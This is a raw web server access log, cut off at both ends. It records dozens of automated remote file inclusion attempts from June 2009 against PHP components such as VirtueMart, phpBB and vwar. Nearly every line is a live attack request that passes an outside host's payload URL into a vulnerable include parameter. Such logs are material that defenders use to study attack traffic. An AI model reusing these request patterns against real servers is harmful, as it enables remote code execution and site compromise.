/rfi.txt/errors.php?error=http://www.mistrider.com/samphpwebkk/images/fx29id1.txt? HTTP/1.1" 404 530 "-" "Mozilla/5.0" 119.110.86.134 - - [11/Jun/2009:10:53:50 -0600] "GET /errors.php?error=http://www.mistrider.com/samphpwebkk/images/fx29id1.txt? HTTP/1.1" 302 720 "-" "Mozilla/5.0" 119.110.86.134 - - [11/Jun/2009:10:53:52 -0600] "GET /errors.php?error=http://www.mistrider.com/samphpwebkk/images/fx29id1.txt? HTTP/1.1" 404 33508 "-" "Mozilla/5.0" 202.181.98.137 - - [11/Jun/2009:10:54:52 -0600] "GET /rfi.txt//administrator/components/com_virtuemart/export.php?mosConfig_absolute_path=http://www.multicolorprint.ch/gv2008/copyright.txt???? HTTP/1.1" 404 587 "-" "Mozilla/5.0" 202.181.98.137 - - [11/Jun/2009:10:54:52 -0600] "GET //administrator/components/com_virtuemart/export.php?mosConfig_absolute_path=http://www.multicolorprint.ch/gv2008/copyright.txt???? HTTP/1.1" 302 777 "-" "Mozilla/5.0" 202.181.98.137 - - [11/Jun/2009:10:54:53 -0600] "GET //administrator/components/com_virtuemart/export.php?mosConfig_absolute_path=http://www.multicolorprint.ch/gv2008/copyright.txt???? HTTP/1.1" 404 33428 "-" "Mozilla/5.0" 119.110.86.134 - - [11/Jun/2009:11:02:18 -0600] "GET /rfi.txt/errors.php?error=http://www.mistrider.com/samphpwebkk/images/fx29id1.txt? HTTP/1.1" 404 530 "-" "Mozilla/5.0" 119.110.86.134 - - [11/Jun/2009:11:02:18 -0600] "GET /errors.php?error=http://www.mistrider.com/samphpwebkk/images/fx29id1.txt? HTTP/1.1" 302 720 "-" "Mozilla/5.0" 119.110.86.134 - - [11/Jun/2009:11:02:20 -0600] "GET /errors.php?error=http://www.mistrider.com/samphpwebkk/images/fx29id1.txt? HTTP/1.1" 404 33523 "-" "Mozilla/5.0" 69.65.41.165 - - [11/Jun/2009:11:05:51 -0600] "GET /rfi.txt/phpbb/page_tail.php?includePath=http://aglifestylesmarketplace.com/AinuLid1.txt?? HTTP/1.1" 404 538 "-" "Mozilla/5.0" 69.65.41.165 - - [11/Jun/2009:11:05:51 -0600] "GET /phpbb/page_tail.php?includePath=http://aglifestylesmarketplace.com/AinuLid1.txt?? HTTP/1.1" 302 728 "-" "Mozilla/5.0" 69.65.41.165 - - [11/Jun/2009:11:05:52 -0600] "GET /phpbb/page_tail.php?includePath=http://aglifestylesmarketplace.com/AinuLid1.txt?? HTTP/1.1" 404 33325 "-" "Mozilla/5.0" 64.70.103.140 - - [11/Jun/2009:11:06:51 -0600] "GET /rfi.txt/phpbb/page_tail.php?includePath=http://aglifestylesmarketplace.com/AinuLid1.txt?? HTTP/1.1" 404 538 "-" "Mozilla/5.0" 69.65.41.165 - - [11/Jun/2009:11:06:51 -0600] "GET /rfi.txt/phpbb/page_tail.php?includePath=http://aglifestylesmarketplace.com/AinuLid1.txt?? HTTP/1.1" 404 538 "-" "Mozilla/5.0" 64.70.103.140 - - [11/Jun/2009:11:06:51 -0600] "GET /phpbb/page_tail.php?includePath=http://aglifestylesmarketplace.com/AinuLid1.txt?? HTTP/1.1" 302 728 "-" "Mozilla/5.0" 69.65.41.165 - - [11/Jun/2009:11:06:51 -0600] "GET /phpbb/page_tail.php?includePath=http://aglifestylesmarketplace.com/AinuLid1.txt?? HTTP/1.1" 302 728 "-" "Mozilla/5.0" 64.70.103.140 - - [11/Jun/2009:11:06:51 -0600] "GET /phpbb/page_tail.php?includePath=http://aglifestylesmarketplace.com/AinuLid1.txt?? HTTP/1.1" 404 33510 "-" "Mozilla/5.0" 69.65.41.165 - - [11/Jun/2009:11:06:52 -0600] "GET /phpbb/page_tail.php?includePath=http://aglifestylesmarketplace.com/AinuLid1.txt?? HTTP/1.1" 404 33305 "-" "Mozilla/5.0" 118.129.166.203 - - [11/Jun/2009:11:13:53 -0600] "GET /rfi.txt/phpbb/page_tail.php?includePath=http://www.kq-china.com/web//plugins/system/id1.txt??? HTTP/1.1" 404 543 "-" "Mozilla/5.0" 118.129.166.203 - - [11/Jun/2009:11:13:56 -0600] "GET /rfi.txt/phpbb/page_tail.php?includePath=http://www.kq-china.com/web//plugins/system/id1.txt??? HTTP/1.1" 404 543 "-" "Mozilla/5.0" 118.129.166.203 - - [11/Jun/2009:11:13:56 -0600] "GET /phpbb/page_tail.php?includePath=http://www.kq-china.com/web//plugins/system/id1.txt??? HTTP/1.1" 302 733 "-" "Mozilla/5.0" 118.129.166.203 - - [11/Jun/2009:11:13:56 -0600] "GET /phpbb/page_tail.php?includePath=http://www.kq-china.com/web//plugins/system/id1.txt??? HTTP/1.1" 302 733 "-" "Mozilla/5.0" 118.129.166.203 - - [11/Jun/2009:11:13:57 -0600] "GET /phpbb/page_tail.php?includePath=http://www.kq-china.com/web//plugins/system/id1.txt??? HTTP/1.1" 404 33268 "-" "Mozilla/5.0" 118.129.166.203 - - [11/Jun/2009:11:13:57 -0600] "GET /phpbb/page_tail.php?includePath=http://www.kq-china.com/web//plugins/system/id1.txt??? HTTP/1.1" 404 33267 "-" "Mozilla/5.0" 118.129.166.203 - - [11/Jun/2009:11:14:18 -0600] "GET /rfi.txt/phpbb/page_tail.php?includePath=http://www.kq-china.com/web//plugins/system/id1.txt??? HTTP/1.1" 404 543 "-" "Mozilla/5.0" 118.129.166.203 - - [11/Jun/2009:11:14:18 -0600] "GET /phpbb/page_tail.php?includePath=http://www.kq-china.com/web//plugins/system/id1.txt??? HTTP/1.1" 302 733 "-" "Mozilla/5.0" 118.129.166.203 - - [11/Jun/2009:11:14:20 -0600] "GET /phpbb/page_tail.php?includePath=http://www.kq-china.com/web//plugins/system/id1.txt??? HTTP/1.1" 404 33268 "-" "Mozilla/5.0" 118.129.166.203 - - [11/Jun/2009:11:15:47 -0600] "GET /rfi.txt/phpbb/page_tail.php?includePath=http://www.kq-china.com/web//plugins/system/id1.txt??? HTTP/1.1" 404 543 "-" "Mozilla/5.0" 118.129.166.203 - - [11/Jun/2009:11:15:47 -0600] "GET /phpbb/page_tail.php?includePath=http://www.kq-china.com/web//plugins/system/id1.txt??? HTTP/1.1" 302 733 "-" "Mozilla/5.0" 118.129.166.203 - - [11/Jun/2009:11:15:48 -0600] "GET /phpbb/page_tail.php?includePath=http://www.kq-china.com/web//plugins/system/id1.txt??? HTTP/1.1" 404 33268 "-" "Mozilla/5.0" 118.129.166.203 - - [11/Jun/2009:11:17:50 -0600] "GET /rfi.txt/phpbb/page_tail.php?includePath=http://www.kq-china.com/web//plugins/system/id1.txt??? HTTP/1.1" 404 543 "-" "Mozilla/5.0" 118.129.166.203 - - [11/Jun/2009:11:17:49 -0600] "GET /phpbb/page_tail.php?includePath=http://www.kq-china.com/web//plugins/system/id1.txt??? HTTP/1.1" 302 733 "-" "Mozilla/5.0" 118.129.166.203 - - [11/Jun/2009:11:17:50 -0600] "GET /phpbb/page_tail.php?includePath=http://www.kq-china.com/web//plugins/system/id1.txt??? HTTP/1.1" 404 33268 "-" "Mozilla/5.0" 203.97.61.43 - - [11/Jun/2009:11:23:25 -0600] "GET /rfi.txt/phpbb/page_tail.php?includePath=http://aglifestylesmarketplace.com/AinuLid1.txt?? HTTP/1.1" 404 538 "-" "Mozilla/5.0" 203.97.61.43 - - [11/Jun/2009:11:23:25 -0600] "GET /phpbb/page_tail.php?includePath=http://aglifestylesmarketplace.com/AinuLid1.txt?? HTTP/1.1" 302 728 "-" "Mozilla/5.0" 203.97.61.43 - - [11/Jun/2009:11:23:26 -0600] "GET /phpbb/page_tail.php?includePath=http://aglifestylesmarketplace.com/AinuLid1.txt?? HTTP/1.1" 404 33547 "-" "Mozilla/5.0" 190.144.44.36 - - [11/Jun/2009:12:30:10 -0600] "GET /rfi.txt/errors.php?error=http://ibmi.tempsite.ws/fx29id1.txt?? HTTP/1.1" 404 511 "-" "Mozilla/5.0" 190.144.44.36 - - [11/Jun/2009:12:30:10 -0600] "GET /errors.php?error=http://ibmi.tempsite.ws/fx29id1.txt?? HTTP/1.1" 302 701 "-" "Mozilla/5.0" 190.144.44.36 - - [11/Jun/2009:12:30:11 -0600] "GET /errors.php?error=http://ibmi.tempsite.ws/fx29id1.txt?? HTTP/1.1" 404 33110 "-" "Mozilla/5.0" 190.144.44.36 - - [11/Jun/2009:12:31:23 -0600] "GET /rfi.txt/errors.php?error=http://ibmi.tempsite.ws/fx29id1.txt?? HTTP/1.1" 404 511 "-" "Mozilla/5.0" 190.144.44.36 - - [11/Jun/2009:12:31:23 -0600] "GET /errors.php?error=http://ibmi.tempsite.ws/fx29id1.txt?? HTTP/1.1" 302 701 "-" "Mozilla/5.0" 190.144.44.36 - - [11/Jun/2009:12:31:24 -0600] "GET /errors.php?error=http://ibmi.tempsite.ws/fx29id1.txt?? HTTP/1.1" 404 33110 "-" "Mozilla/5.0" 70.85.165.10 - - [11/Jun/2009:12:34:38 -0600] "GET /rfi.txt///vwar/backup/errors.php?error=http://208.98.22.241/id.txt??? HTTP/1.1" 404 518 "-" "libwww-perl/5.811" 70.85.165.10 - - [11/Jun/2009:12:34:38 -0600] "GET ///vwar/backup/errors.php?error=http://208.98.22.241/id.txt??? HTTP/1.1" 302 708 "-" "libwww-perl/5.811" 70.85.165.10 - - [11/Jun/2009:12:34:39 -0600] "GET ///vwar/backup/errors.php?error=http://208.98.22.241/id.txt??? HTTP/1.1" 404 33138 "-" "libwww-perl/5.811" 70.85.165.10 - - [11/Jun/2009:12:34:43 -0600] "GET /rfi.txt///vwar/backup/errors.php?error=http://208.98.22.241/id.txt??? HTTP/1.1" 404 518 "-" "libwww-perl/5.811" 70.85.165.10 - - [11/Jun/2009:12:34:44 -0600] "GET ///vwar/backup/errors.php?error=http://208.98.22.241/id.txt??? HTTP/1.1" 302 708 "-" "libwww-perl/5.811" 70.85.165.10 - - [11/Jun/2009:12:34:46 -0600] "GET ///vwar/backup/errors.php?error=http://208.98.22.241/id.txt??? HTTP/1.1" 404 33138 "-" "libwww-perl/5.811" 88.84.137.163 - - [11/Jun/2009:12:48:23 -0600] "GET //administrator/components/com_virtuemart/export.php?mosConfig_absolute_path=http://www.batistas.net/rm.txt???? HTTP/1.1" 302 757 "-" "libwww-perl/5.803" 88.84.137.163 - - [11/Jun/2009:12:48:24 -0600] "GET //administrator/components/com_virtuemart/export.php?mosConfig_absolute_path=http://www.batistas.net/rm.txt???? HTTP/1.1" 404 33343 "-" "libwww-perl/5.803" 190.144.44.36 - - [11/Jun/2009:13:07:38 -0600] "GET /rfi.txt//errors.php?error=http://ibmi.tempsite.ws/fx29id1.txt?? HTTP/1.1" 404 512 "-" "Mozilla/5.0" 190.144.44.36 - - [11/Jun/2009:13:07:38 -0600] "GET //errors.php?error=http://ibmi.tempsite.ws/fx29id1.txt?? HTTP/1.1" 302 702 "-" "Mozilla/5.0" 190.144.44.36 - - [11/Jun/2009:13:07:38 -0600] "GET //errors.php?error=http://ibmi.tempsite.ws/fx29id1.txt?? HTTP/1.1" 404 33110 "-" "Mozilla/5.0" 190.144.44.36 - - [11/Jun/2009:13:11:00 -0600] "GET /rfi.txt//errors.php?error=http://ibmi.tempsite.ws/fx29id1.txt?? HTTP/1.1" 404 512 "-" "Mozilla/5.0" 190.144.44.36 - - [11/Jun/2009:13:11:00 -0600] "GET //errors.php?error=http://ibmi.tempsite.ws/fx29id1.txt?? HTTP/1.1" 302 702 "-" "Mozilla/5.0" 190.144.44.36 - - [11/Jun/2009:13:11:01 -0600] "GET //errors.php?error=http://ibmi.tempsite.ws/fx29id1.txt?? HTTP/1.1" 404 33110 "-" "Mozilla/5.0" 124.0.146.100 - - [11/Jun/2009:13:23:38 -0600] "GET /rfi.txt/errors.php?error=http://food114.tv/banner/shirohige/fxid.txt?? HTTP/1.1" 404 519 "-" "Mozilla/5.0" 124.0.146.100 - - [11/Jun/2009:13:23:38 -0600] "GET /errors.php?error=http://food114.tv/banner/shirohige/fxid.txt?? HTTP/1.1" 302 709 "-" "Mozilla/5.0" 124.0.146.100 - - [11/Jun/2009:13:23:39 -0600] "GET /errors.php?error=http://food114.tv/banner/shirohige/fxid.txt?? HTTP/1.1" 404 33154 "-" "Mozilla/5.0" 121.165.73.157 - - [11/Jun/2009:13:27:04 -0600] "GET /rfi.txt///components/com_virtuemart/show_image_in_imgtag.php?mosConfig_absolute_path=http://www.startenglish.com.br/id1.txt?? HTTP/1.1" 404 574 "-" "Mozilla/5.0" 121.165.73.157 - - [11/Jun/2009:13:27:04 -0600] "GET ///components/com_virtuemart/show_image_in_imgtag.php?mosConfig_absolute_path=http://www.startenglish.com.br/id1.txt?? HTTP/1.1" 302 764 "-" "Mozilla/5.0" 121.165.73.157 - - [11/Jun/2009:13:27:06 -0600] "GET ///components/com_virtuemart/show_image_in_imgtag.php?mosConfig_absolute_path=http://www.startenglish.com.br/id1.txt?? HTTP/1.1" 404 33356 "-" "Mozilla/5.0" 203.189.120.183 - - [11/Jun/2009:13:33:47 -0600] "GET //main.php?sayfa=http://solelyyoursgem.com/img/products/april/bot/racrew/id.txt??? HTTP/1.1" 404 33250 "-" "libwww-perl/5.813" 77.234.200.238 - - [11/Jun/2009:13:37:52 -0600] "GET //administrator/components/com_virtuemart/export.php?mosConfig_absolute_path=http://about-dogs.info/hard/fx2id.txt?? HTTP/1.1" 302 762 "-" "Mozilla/5.0" 77.234.200.238 - - [11/Jun/2009:13:37:54 -0600] "GET /rfi.txt//administrator/components/com_virtuemart/export.php?mosConfig_absolute_path=http://about-dogs.info/hard/fx2id.txt?? HTTP/1.1" 404 572 "-" "Mozilla/5.0" 77.234.200.238 - - [11/Jun/2009:13:37:54 -0600] "GET //administrator/components/com_virtuemart/export.php?mosConfig_absolute_path=http://about-dogs.info/hard/fx2id.txt?? HTTP/1.1" 404 33663 "-" "Mozilla/5.0" 77.234.200.238 - - [11/Jun/2009:14:05:15 -0600] "GET /rfi.txt//administrator/components/com_virtuemart/errors.php?error=http://about-dogs.info/hard/fx2id.txt?? HTTP/1.1" 404 554 "-" "Mozilla/5.0" 77.234.200.238 - - [11/Jun/2009:14:05:15 -0600] "GET //administrator/components/com_virtuemart/errors.php?error=http://about-dogs.info/hard/fx2id.txt?? HTTP/1.1" 302 744 "-" "Mozilla/5.0" 77.234.200.238 - - [11/Jun/2009:14:05:16 -0600] "GET //administrator/components/com_virtuemart/errors.php?error=http://about-dogs.info/hard/fx2id.txt?? HTTP/1.1" 404 33931 "-" "Mozilla/5.0" 118.129.166.203 - - [11/Jun/2009:14:24:26 -0600] "GET /rfi.txt/administrator/components/com_virtuemart/export.php?mosConfig_absolute_path=http://www.kq-china.com/web//plugins/system/id1.txt??? HTTP/1.1" 404 586 "-" "Mozilla/5.0" 118.129.166.203 - - [11/Jun/2009:14:24:26 -0600] "GET /administrator/components/com_virtuemart/export.php?mosConfig_absolute_path=http://www.kq-china.com/web//plugins/system/id1.txt??? HTTP/1.1" 302 776 "-" "Mozilla/5.0" 118.129.166.203 - - [11/Jun/2009:14:24:26 -0600] "GET /administrator/components/com_virtuemart/export.php?mosConfig_absolute_path=http://www.kq-china.com/web//plugins/system/id1.txt??? HTTP/1.1" 404 33440 "-" "Mozilla/5.0" 87.118.90.151 - - [11/Jun/2009:14:31:23 -0600] "GET //components/com_virtuemart/show_image_in_imgtag.php?mosConfig_absolute_path=http://a222.altervista.org/id.txt? HTTP/1.1" 302 757 "-" "libwww-perl/5.805" 87.118.90.151 - - [11/Jun/2009:14:31:24 -0600] "GET //components/com_virtuemart/show_image_in_imgtag.php?mosConfig_absolute_path=http://a222.altervista.org/id.txt? HTTP/1.1" 404 33324 "-" "libwww-perl/5.805" 113.29.225.7 - - [11/Jun/2009:14:37:46 -0600] "GET /rfi.txt///administrator/components/com_virtuemart/export.php?mosConfig_absolute_path=http://www.tropicelixirs.com/language/ct/id1.txt? HTTP/1.1" 404 583 "-" "Mozilla/5.0" 113.29.225.7 - - [11/Jun/2009:14:37:46 -0600] "GET ///administrator/components/com_virtuemart/export.php?mosConfig_absolute_path=http://www.tropicelixirs.com/language/ct/id1.txt? HTTP/1.1" 302 773 "-" "Mozilla/5.0" 113.29.225.7 - - [11/Jun/2009:14:37:47 -0600] "GET ///administrator/components/com_virtuemart/export.php?mosConfig_absolute_path=http://www.tropicelixirs.com/language/ct/id1.txt? HTTP/1.1" 404 33398 "-" "Mozilla/5.0" 113.29.225.7 - - [11/Jun/2009:14:38:11 -0600] "GET /rfi.txt///administrator/components/com_virtuemart/export.php?mosConfig_absolute_path=http://www.tropicelixirs.com/language/ct/id1.txt? HTTP/1.1" 404 583 "-" "Mozilla/5.0" 113.29.225.7 - - [11/Jun/2009:14:38:11 -0600] "GET ///administrator/components/com_virtuemart/export.php?mosConfig_absolute_path=http://www.tropicelixirs.com/language/ct/id1.txt? HTTP/1.1" 302 773 "-" "Mozilla/5.0" 113.29.225.7 - - [11/Jun/2009:14:38:12 -0600] "GET ///administrator/components/com_virtuemart/export.php?mosConfig_absolute_path=http://www.tropicelixirs.com/language/ct/id1.txt? HTTP/1.1" 404 33398 "-" "Mozilla/5.0" 121.165.73.157 - - [11/Jun/2009:14:49:00 -0600] "GET /rfi.txt///administrator/components/com_virtuemart/export.php?mosConfig_absolute_path=http://www.tropicelixirs.com/language/ct/id1.txt? HTTP/1.1" 404 583 "-" "Mozilla/5.0" 121.165.73.157 - - [11/Jun/2009:14:49:00 -0600] "GET ///administrator/components/com_virtuemart/export.php?mosConfig_absolute_path=http://www.tropicelixirs.com/language/ct/id1.txt? HTTP/1.1" 302 773 "-" "Mozilla/5.0" 121.165.73.157 - - [11/Jun/2009:14:49:01 -0600] "GET ///administrator/components/com_virtuemart/export.php?mosConfig_absolute_path=http://www.tropicelixirs.com/language/ct/id1.txt? HTTP/1.1" 404 33398 "-" "Mozilla/5.0" 199.120.90.222 - - [11/Jun/2009:15:33:49 -0600] "GET /rfi.txt//components/com_virtuemart/export.php?mosConfig_absolute_path=http://withipod.net/css/responz/rxid1.txt?? HTTP/1.1" 404 562 "-" "Mozilla/5.0" 199.120.90.222 - - [11/Jun/2009:15:33:51 -0600] "GET //components/com_virtuemart/export.php?mosConfig_absolute_path=http://withipod.net/css/responz/rxid1.txt?? HTTP/1.1" 302 752 "-" "Mozilla/5.0" 199.120.90.222 - - [11/Jun/2009:15:33:56 -0600] "GET //components/com_virtuemart/export.php?mosConfig_absolute_path=http://withipod.net/css/responz/rxid1.txt?? HTTP/1.1" 404 33401 "-" "Mozilla/5.0" 87.118.90.151 - - [11/Jun/2009:16:33:43 -0600] "GET //components/com_virtuemart/show_image_in_imgtag.php?mosConfig_absolute_path=http://a222.altervista.org/id.txt? HTTP/1.1" 302 757 "-" "libwww-perl/5.805" 87.118.90.151 - - [11/Jun/2009:16:33:44 -0600] "GET //components/com_virtuemart/show_image_in_imgtag.php?mosConfig_absolute_path=http://a222.altervista.org/id.txt? HTTP/1.1" 404 33325 "-" "libwww-perl/5.805" 189.112.75.29 - - [11/Jun/2009:17:00:37 -0600] "GET /rfi.txt//main.php?sayfa=http://ukcouncilexchanges.info/FX29ID1.txt??? HTTP/1.1" 404 518 "-" "Mozilla/5.0" 189.112.75.29 - - [11/Jun/2009:17:00:37 -0600] "GET //main.php?sayfa=http://ukcouncilexchanges.info/FX29ID1.txt??? HTTP/1.1" 302 708 "-" "Mozilla/5.0" 189.112.75.29 - - [11/Jun/2009:17:00:39 -0600] "GET //main.php?sayfa=http://ukcouncilexchanges.info/FX29ID1.txt??? HTTP/1.1" 404 33140 "-" "Mozilla/5.0" 189.112.75.29 - - [11/Jun/2009:17:04:05 -0600] "GET /rfi.txt//main.php?sayfa=http://ukcouncilexchanges.info/FX29ID1.txt??? HTTP/1.1" 404 518 "-" "Mozilla/5.0" 189.112.75.29 - - [11/Jun/2009:17:04:04 -0600] "GET //main.php?sayfa=http://ukcouncilexchanges.info/FX29ID1.txt??? HTTP/1.1" 302 708 "-" "Mozilla/5.0" 189.112.75.29 - - [11/Jun/2009:17:04:06 -0600] "GET //main.php?sayfa=http://ukcouncilexchanges.info/FX29ID1.txt??? HTTP/1.1" 404 33141 "-" "Mozilla/5.0" 87.106.143.140 - - [11/Jun/2009:17:43:46 -0600] "GET ///////components/com_moofaq/includes/file_includer.php?gzip=0&file=http://www.teampoint-koeln.de/images/cek.jpg?? HTTP/1.1" 302 824 "-" "libwww-perl/5.805" 87.106.143.140 - - [11/Jun/2009:17:43:47 -0600] "GET ///////components/com_moofaq/includes/file_includer.php?gzip=0&file=http://www.teampoint-koeln.de/images/cek.jpg?? HTTP/1.1" 404 33806 "-" "libwww-perl/5.805" 212.158.160.121 - - [11/Jun/2009:18:14:14 -0600] "GET /rfi.txt/modules/vwar/convert/mvcw_conver.php?step=1&vwar_root=http://www.masuccessguy.com//docs/book?? HTTP/1.1" 404 555 "-" "Mozilla/5.0" 212.158.160.121 - - [11/Jun/2009:18:14:14 -0600] "GET /modules/vwar/convert/mvcw_conver.php?step=1&vwar_root=http://www.masuccessguy.com//docs/book?? HTTP/1.1" 302 805 "-" "Mozilla/5.0" 212.158.160.121 - - [11/Jun/2009:18:14:16 -0600] "GET /modules/vwar/convert/mvcw_conver.php?step=1&vwar_root=http://www.masuccessguy.com//docs/book?? HTTP/1.1" 404 33755 "-" "Mozilla/5.0" 212.158.160.121 - - [11/Jun/2009:18:15:33 -0600] "GET /rfi.txt/modules/vwar/convert/mvcw_conver.php?step=1&vwar_root=http://www.telsizdunyasi.com/vnc/fx29id.txt?? HTTP/1.1" 404 560 "-" "Mozilla/5.0" 212.158.160.121 - - [11/Jun/2009:18:15:33 -0600] "GET /modules/vwar/convert/mvcw_conver.php?step=1&vwar_root=http://www.telsizdunyasi.com/vnc/fx29id.txt?? HTTP/1.1" 302 810 "-" "Mozilla/5.0" 212.158.160.121 - - [11/Jun/2009:18:15:34 -0600] "GET /modules/vwar/convert/mvcw_conver.php?step=1&vwar_root=http://www.telsizdunyasi.com/vnc/fx29id.txt?? HTTP/1.1" 404 33769 "-" "Mozilla/5.0" 117.74.99.225 - - [11/Jun/2009:18:17:38 -0600] "GET ///////components/com_moofaq/includes/file_includer.php?gzip=0&file=http://www.teampoint-koeln.de/images/cek.jpg?? HTTP/1.1" 302 824 "-" "libwww-perl/5.79" 117.74.99.225 - - [11/Jun/2009:18:17:41 -0600] "GET ///////components/com_moofaq/includes/file_includer.php?gzip=0&file=http://www.teampoint-koeln.de/images/cek.jpg?? HTTP/1.1" 404 33807 "-" "libwww-perl/5.79" 87.230.22.39 - - [11/Jun/2009:18:30:20 -0600] "GET /rfi.txt//administrator/components/com_virtuemart/export.php?mosConfig_absolute_path=http://www.socawaremme.com/img/fx29id1.txt??? HTTP/1.1" 404 578 "-" "Mozilla/5.0" 87.230.22.39 - - [11/Jun/2009:18:30:20 -0600] "GET //administrator/components/com_virtuemart/export.php?mosConfig_absolute_path=http://www.socawaremme.com/img/fx29id1.txt??? HTTP/1.1" 302 832 "-" "Mozilla/5.0" 87.230.22.39 - - [11/Jun/2009:18:30:21 -0600] "GET /rfi.txt//administrator/components/com_virtuemart/export.php?mosConfig_absolute_path=http://www.socawaremme.com/img/fx29id1.txt??? HTTP/1.1" 404 578 "-" "Mozilla/5.0" 87.230.22.39 - - [11/Jun/2009:18:30:21 -0600] "GET //administrator/components/com_virtuemart/export.php?mosConfig_absolute_path=http://www.socawaremme.com/img/fx29id1.txt??? HTTP/1.1" 302 832 "-" "Mozilla/5.0" 87.230.22.39 - - [11/Jun/2009:18:30:21 -0600] "GET //administrator/components/com_virtuemart/export.php?mosConfig_absolute_path=http://www.socawaremme.com/img/fx29id1.txt??? HTTP/1.1" 404 33843 "-" "Mozilla/5.0" 87.230.22.39 - - [11/Jun/2009:18:30:22 -0600] "GET //administrator/components/com_virtuemart/export.php?mosConfig_absolute_path=http://www.socawaremme.com/img/fx29id1.txt??? HTTP/1.1" 404 33844 "-" "Mozilla/5.0" 87.230.22.39 - - [11/Jun/2009:18:31:46 -0600] "GET /rfi.txt//administrator/components/com_virtuemart/export.php?mosConfig_absolute_path=http://www.socawaremme.com/img/fx29id1.txt??? HTTP/1.1" 404 578 "-" "Mozilla/5.0" 87.230.22.39 - - [11/Jun/2009:18:31:46 -0600] "GET //administrator/components/com_virtuemart/export.php?mosConfig_absolute_path=http://www.socawaremme.com/img/fx29id1.txt??? HTTP/1.1" 302 832 "-" "Mozilla/5.0" 87.230.22.39 - - [11/Jun/2009:18:31:47 -0600] "GET //administrator/components/com_virtuemart/export.php?mosConfig_absolute_path=http://www.socawaremme.com/img/fx29id1.txt??? HTTP/1.1" 404 33844 "-" "Mozilla/5.0" 200.150.9.236 - - [11/Jun/2009:18:38:34 -0600] "GET /rfi.txt///vwar/backup/errors.php?error=http://www.brunoramalho.com/b1tchXs4f3.txt?? HTTP/1.1" 404 532 "-" "Mozilla/4.61 (Macintosh; I; PPC)" 200.150.9.236 - - [11/Jun/2009:18:38:34 -0600] "GET ///vwar/backup/errors.php?error=http://www.brunoramalho.com/b1tchXs4f3.txt?? HTTP/1.1" 302 786 "-" "Mozilla/4.61 (Macintosh; I; PPC)" 200.150.9.236 - - [11/Jun/2009:18:38:35 -0600] "GET ///vwar/backup/errors.php?error=http://www.brunoramalho.com/b1tchXs4f3.txt?? HTTP/1.1" 404 33645 "-" "Mozilla/4.61 (Macintosh; I; PPC)" 213.149.105.23 - - [11/Jun/2009:19:00:44 -0600] "GET /rfi.txt///administrator/components/com_dbquery/classes/DBQ/admin/common.class.php?mosConfig_absolute_path=http://aldeanos.com/WEB-INF/lib/.../id.txt?? HTTP/1.1" 404 599 "-" "libwww-perl/5.79" 213.149.105.23 - - [11/Jun/2009:19:00:45 -0600] "GET ///administrator/components/com_dbquery/classes/DBQ/admin/common.class.php?mosConfig_absolute_path=http://aldeanos.com/WEB-INF/lib/.../id.txt?? HTTP/1.1" 302 853 "-" "libwww-perl/5.79" 213.149.105.23 - - [11/Jun/2009:19:00:46 -0600] "GET ///administrator/components/com_dbquery/classes/DBQ/admin/common.class.php?mosConfig_absolute_path=http://aldeanos.com/WEB-INF/lib/.../id.txt?? HTTP/1.1" 404 33930 "-" "libwww-perl/5.79" 209.62.42.51 - - [11/Jun/2009:19:46:25 -0600] "GET //com_virtuemart/show_image_in_imgtag.php?mosConfig_absolute_path=http://fjvdig.iespana.es/fx29id.txt?? HTTP/1.1" 302 813 "-" "Mozilla/5.0" 209.62.42.51 - - [11/Jun/2009:19:46:26 -0600] "GET //com_virtuemart/show_image_in_imgtag.php?mosConfig_absolute_path=http://fjvdig.iespana.es/fx29id.txt?? HTTP/1.1" 404 33839 "-" "Mozilla/5.0" 209.62.42.51 - - [11/Jun/2009:19:46:27 -0600] "GET /rfi.txt//com_virtuemart/show_image_in_imgtag.php?mosConfig_absolute_path=http://fjvdig.iespana.es/fx29id.txt?? HTTP/1.1" 404 559 "-" "Mozilla/5.0" 209.62.42.51 - - [11/Jun/2009:20:45:31 -0600] "GET /rfi.txt/errors.php?error=http://fjvdig.iespana.es/fx29id.txt?? HTTP/1.1" 404 511 "-" "Mozilla/5.0" 209.62.42.51 - - [11/Jun/2009:20:45:31 -0600] "GET /errors.php?error=http://fjvdig.iespana.es/fx29id.txt?? HTTP/1.1" 302 765 "-" "Mozilla/5.0" 209.62.42.51 - - [11/Jun/2009:20:45:32 -0600] "GET /errors.php?error=http://fjvdig.iespana.es/fx29id.txt?? HTTP/1.1" 404 33644 "-" "Mozilla/5.0" 190.144.44.36 - - [11/Jun/2009:20:51:09 -0600] "GET //index.php?_SERVER[DOCUMENT_ROOT]=http://208.98.22.241/id.txt??? HTTP/1.1" 302 743 "-" "libwww-perl/5.79" 190.144.44.36 - - [11/Jun/2009:20:51:10 -0600] "GET /?_SERVERDOCUMENT_ROOT=http://208.98.22.241/id.txt??? HTTP/1.1" 200 98401 "-" "libwww-perl/5.79" 190.144.44.36 - - [11/Jun/2009:20:51:22 -0600] "GET //index.php?_SERVER[DOCUMENT_ROOT]=http://208.98.22.241/id.txt??? HTTP/1.1" 302 743 "-" "libwww-perl/5.79" 190.144.44.36 - - [11/Jun/2009:20:51:23 -0600] "GET /?_SERVERDOCUMENT_ROOT=http://208.98.22.241/id.txt??? HTTP/1.1" 200 98871 "-" "libwww-perl/5.79" 190.144.44.36 - - [11/Jun/2009:20:51:34 -0600] "GET //index.php?_SERVER[DOCUMENT_ROOT]=http://125.163.251.219/har/spread.txt? HTTP/1.1" 302 751 "-" "libwww-perl/5.79" 190.144.44.36 - - [11/Jun/2009:20:51:40 -0600] "GET /?_SERVERDOCUMENT_ROOT=http://125.163.251.219/har/spread.txt? HTTP/1.1" 200 98859 "-" "libwww-perl/5.79" 125.167.42.116 - - [11/Jun/2009:20:53:07 -0600] "GET //index.php?_SERVER[DOCUMENT_ROOT]=http://125.163.251.219/har/continue.txt?? HTTP/1.1" 302 791 "-" "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1.20) Gecko/20081217 Firefox/2.0.0.20" 125.167.42.116 - - [11/Jun/2009:20:53:09 -0600] "GET /?_SERVERDOCUMENT_ROOT=http://125.163.251.219/har/continue.txt?? HTTP/1.1" 200 98993 "-" "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1.20) Gecko/20081217 Firefox/2.0.0.20" 66.249.68.35 - - [11/Jun/2009:20:53:23 -0600] "GET /?_SERVERDOCUMENT_ROOT=http://125.163.251.219/har/continue.txt?? HTTP/1.1" 200 99668 "-" "Mediapartners-Google" 125.167.42.116 - - [11/Jun/2009:20:53:43 -0600] "GET /?_SERVERDOCUMENT_ROOT=http://www.geocities.com/masterboboy/scripts/gome.txt?? HTTP/1.1" 200 98860 "-" "Mozilla/5.0 (Windows; U; Windows 